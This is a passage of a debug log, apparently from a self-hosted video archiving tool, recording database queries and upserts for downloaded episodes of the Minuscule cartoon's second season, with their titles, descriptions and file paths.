"upload_date" => "20200423"} 22:13:24.114 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=942.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:24.115 [debug] QUERY OK source="sources" db=0.4ms idle=943.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:24.117 [debug] QUERY OK source="media_items" db=1.0ms idle=944.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-23 14:30:03Z], 5] 22:13:24.120 [debug] QUERY OK source="media_items" db=2.2ms idle=946.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a garden, a mocking ladybird arrives to taunt a band of flies, and incites them to chase her in a crazy race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The cruel cow in the meadow / Histoire vache (Season 2)", "fe4e95f6-318a-4124-a73e-ef91173e75b1", "X8TfG9Ib4Aw", 120, false, 5, "https://www.youtube.com/watch?v=X8TfG9Ib4Aw", 98, "/downloads/Miniscule Season 2/2020-04-23 Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2)/Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2) [X8TfG9Ib4Aw].mp4", false, false, false, [], 1, ~U[2020-04-23 14:30:03Z], ~U[2025-12-12 05:13:24Z], ~U[2025-12-12 05:13:24Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a garden, a mocking ladybird arrives to taunt a band of flies, and incites them to chase her in a crazy race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The cruel cow in the meadow / Histoire vache (Season 2)", "X8TfG9Ib4Aw", 120, false, 5, "https://www.youtube.com/watch?v=X8TfG9Ib4Aw", "/downloads/Miniscule Season 2/2020-04-23 Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2)/Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2) [X8TfG9Ib4Aw].mp4", false, ~U[2020-04-23 14:30:03Z]] 22:13:24.121 [debug] QUERY OK source="sources" db=0.5ms idle=799.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:24.122 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:24.123 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89095] 22:13:24.123 [debug] Current batch of media processed. Will check again in 1000ms 22:13:25.124 [debug] Current batch of media processed. Will check again in 1000ms 22:13:26.125 [debug] Current batch of media processed. Will check again in 1000ms 22:13:27.126 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA group of flies try and catch a ladybird over a golf course but the flies are not aware of the complications that they face.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-04-16 Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2)/Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2) [31kI59jDiRI].mp4", "id" => "31kI59jDiRI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=31kI59jDiRI", "playlist_index" => 99, "timestamp" => 1587047402, "title" => "Minuscule - Need for speed / Ivre de vitesse (Season 2)", "upload_date" => "20200416"} 22:13:27.127 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1955.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:27.128 [debug] QUERY OK source="sources" db=0.4ms idle=1956.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:27.130 [debug] QUERY OK source="media_items" db=1.0ms idle=1957.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-16 14:30:02Z], 5] 22:13:27.133 [debug] QUERY OK source="media_items" db=2.3ms idle=1805.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA group of flies try and catch a ladybird over a golf course but the flies are not aware of the complications that they face.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Need for speed / Ivre de vitesse (Season 2)", "d2b2b455-5a1a-4e66-ad11-551b8724725d", "31kI59jDiRI", 119, false, 5, "https://www.youtube.com/watch?v=31kI59jDiRI", 99, "/downloads/Miniscule Season 2/2020-04-16 Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2)/Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2) [31kI59jDiRI].mp4", false, false, false, [], 1, ~U[2020-04-16 14:30:02Z], ~U[2025-12-12 05:13:27Z], ~U[2025-12-12 05:13:27Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA group of flies try and catch a ladybird over a golf course but the flies are not aware of the complications that they face.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Need for speed / Ivre de vitesse (Season 2)", "31kI59jDiRI", 119, false, 5, "https://www.youtube.com/watch?v=31kI59jDiRI", "/downloads/Miniscule Season 2/2020-04-16 Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2)/Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2) [31kI59jDiRI].mp4", false, ~U[2020-04-16 14:30:02Z]] 22:13:27.134 [debug] QUERY OK source="sources" db=0.4ms idle=806.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:27.135 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:27.136 [debug] QUERY OK source="media_items" db=0.5ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89097] 22:13:27.136 [debug] Current batch of media processed. Will check again in 1000ms 22:13:28.137 [debug] Current batch of media processed. Will check again in 1000ms 22:13:29.138 [debug] Current batch of media processed. Will check again in 1000ms 22:13:30.139 [debug] Current batch of media processed. Will check again in 1000ms 22:13:31.140 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA careless fly escapes from a hungry spider by shutting herself inside a microwave oven. The radiations turn her into a powerful monster fly the size of an orange.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-04-09 Minuscule - Microzilla ⧸ Microzondes (Season 2)/Minuscule - Microzilla ⧸ Microzondes (Season 2) [64r6-QYb1do].mkv", "id" => "64r6-QYb1do", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=64r6-QYb1do", "playlist_index" => 100, "timestamp" => 1586442600, "title" => "Minuscule - Microzilla / Microzondes (Season 2)", "upload_date" => "20200409"} 22:13:31.141 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=969.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:31.142 [debug] QUERY OK source="sources" db=0.4ms idle=970.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:31.144 [debug] QUERY OK source="media_items" db=1.0ms idle=971.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-09 14:30:00Z], 5] 22:13:31.164 [debug] QUERY OK source="media_items" db=18.9ms queue=0.1ms idle=973.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA careless fly escapes from a hungry spider by shutting herself inside a microwave oven. The radiations turn her into a powerful monster fly the size of an orange.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Microzilla / Microzondes (Season 2)", "6a11a7c2-0ff8-4ccc-9e89-6f2b4b39cb33", "64r6-QYb1do", 294, false, 5, "https://www.youtube.com/watch?v=64r6-QYb1do", 100, "/downloads/Miniscule Season 2/2020-04-09 Minuscule - Microzilla ⧸ Microzondes (Season 2)/Minuscule - Microzilla ⧸ Microzondes (Season 2) [64r6-QYb1do].mkv", false, false, false, [], 1, ~U[2020-04-09 14:30:00Z], ~U[2025-12-12 05:13:31Z], ~U[2025-12-12 05:13:31Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA careless fly escapes from a hungry spider by shutting herself inside a microwave oven. The radiations turn her into a powerful monster fly the size of an orange.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Microzilla / Microzondes (Season 2)", "64r6-QYb1do", 294, false, 5, "https://www.youtube.com/watch?v=64r6-QYb1do", "/downloads/Miniscule Season 2/2020-04-09 Minuscule - Microzilla ⧸ Microzondes (Season 2)/Minuscule - Microzilla ⧸ Microzondes (Season 2) [64r6-QYb1do].mkv", false, ~U[2020-04-09 14:30:00Z]] 22:13:31.165 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=829.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:31.165 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=23.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:31.166 [debug] QUERY OK source="media_items" db=0.6ms idle=23.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89099] 22:13:31.167 [debug] Current batch of media processed. Will check again in 1000ms 22:13:32.168 [debug] Current batch of media processed. Will check again in 1000ms 22:13:33.169 [debug] Current batch of media processed. Will check again in 1000ms 22:13:34.170 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant builds a pyramid made out out of peas while a fly is having fun destroying the building when it's almost done. But a ladybird is watching...\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 122, "filename" => "/downloads/Miniscule Season 2/2020-04-02 Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2)/Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2) [f0xE5_ejBKk].mp4", "id" => "f0xE5_ejBKk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=f0xE5_ejBKk", "playlist_index" => 101, "timestamp" => 1585845007, "title" => "Minuscule - A pea in the hand is worth / Deux petits pois deux mesures (Season 2)", "upload_date" => "20200402"} 22:13:34.171 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=829.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:34.172 [debug] QUERY OK source="sources" db=0.3ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:34.173 [debug] QUERY OK source="media_items" db=0.9ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 16:30:07Z], 5] 22:13:34.176 [debug] QUERY OK source="media_items" db=2.3ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant builds a pyramid made out out of peas while a fly is having fun destroying the building when it's almost done. But a ladybird is watching...\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of 